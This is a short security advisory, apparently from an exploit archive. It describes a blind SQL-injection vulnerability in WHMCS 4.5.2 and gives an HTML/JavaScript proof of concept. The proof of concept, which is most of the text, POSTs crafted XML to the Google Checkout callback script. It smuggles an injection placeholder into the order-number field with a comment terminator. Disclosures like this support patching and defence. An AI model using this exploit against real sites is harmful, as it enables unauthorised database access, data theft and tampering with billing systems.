source: http://www.securityfocus.com/bid/56173/info

WHMCS (WHM Complete Solution) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WHMCS 4.5.2 is vulnerable; other versions may also be affected. 

#Proof of Concept : 

<html>
<head>
<title>WHMCS Blind SQL Injection POC</title>
</head>
<body>
<script>
var params = "<charge-amount-notification><google-order-number>0' %YOUR INJECTION HERE% -- -</google-order-number><new-fulfillment-order-state>charge-amount-notification</new-fulfillment-order-state></charge-amount-notification>";
    var http = new XMLHttpRequest();
 try {
        netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
    } catch (e) {
        alert("Permission UniversalBrowserRead denied.");
    }
    http.open("POST", "http://site.com/whmcs/modules/gateways/callback/googlecheckout.php", true);
    http.onreadystatechange = handleResponse;
    http.send(params);
function handleResponse() {

  if(http.readyState == 4 && http.status == 200){
    var response = http.responseText;
alert(response);
    }
  }  
</script>
</body>
</html>

